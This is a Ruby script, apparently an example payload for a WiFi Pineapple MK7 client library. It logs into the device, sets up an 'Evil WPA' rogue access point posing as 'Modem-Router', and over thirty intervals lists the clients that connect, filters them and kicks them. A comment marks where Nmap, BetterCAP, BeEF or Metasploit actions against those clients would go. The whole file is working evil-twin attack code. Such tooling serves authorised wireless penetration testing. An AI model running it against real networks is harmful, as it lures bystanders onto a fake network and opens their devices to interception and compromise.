require_relative('../../classes/PineappleMK7.rb')

system_authentication = PineappleMK7::System::Authentication.new
system_authentication.host = "172.16.42.1"
system_authentication.port = 1471
system_authentication.mac = "00:13:37:DD:EE:FF"
system_authentication.password = "<ROOT-ACCOUNT-PASSWORD>"

if (system_authentication.login)

    led = PineappleMK7::System::LED.new

    # SETUP
    #
    led.setup

    reset_settings = PineappleMK7::Modules::PineAP::Settings.new
    reset_settings.save

    evil_wpa = PineappleMK7::Modules::PineAP::EvilWPA.new
    
    TIMES = 30
    INTERVAL = 10
    pineap_clients = PineappleMK7::Modules::PineAP::Clients.new

    pineap_filtering = PineappleMK7::Modules::PineAP::Filtering.new
    pineap_filtering.client_filter('deny')
    pineap_filtering.ssid_filter('deny')

    # ATTACK
    #
    led.attack

    evil_wpa.ssid = "Modem-Router"
    evil_wpa.password = "Pre-shared_Key" # Password must be between 8 and 63 characters
    evil_wpa.enabled = true
    evil_wpa.save

    # SPECIAL
    #
    led.special

    puts('[+] Connected Clients')

    TIMES.times do
        sleep(INTERVAL)
        (pineap_clients.connected_clients).each do |client|
            pp(client)
            # Nmap, BetterCAP, BeEF, Metasploit, ... actions
            pineap_filtering.add_client(client.mac)
            pineap_clients.kick(client.mac)
        end
    end

    # FINISH
    #
    led.finish

    reset_evil = PineappleMK7::Modules::PineAP::EvilWPA.new
    reset_evil.save

    # CLEANUP
    #
    led.cleanup

    pineap_clients.clear_previous
    pineap_filtering.clear_clients

    # OFF
    #
    led.off

end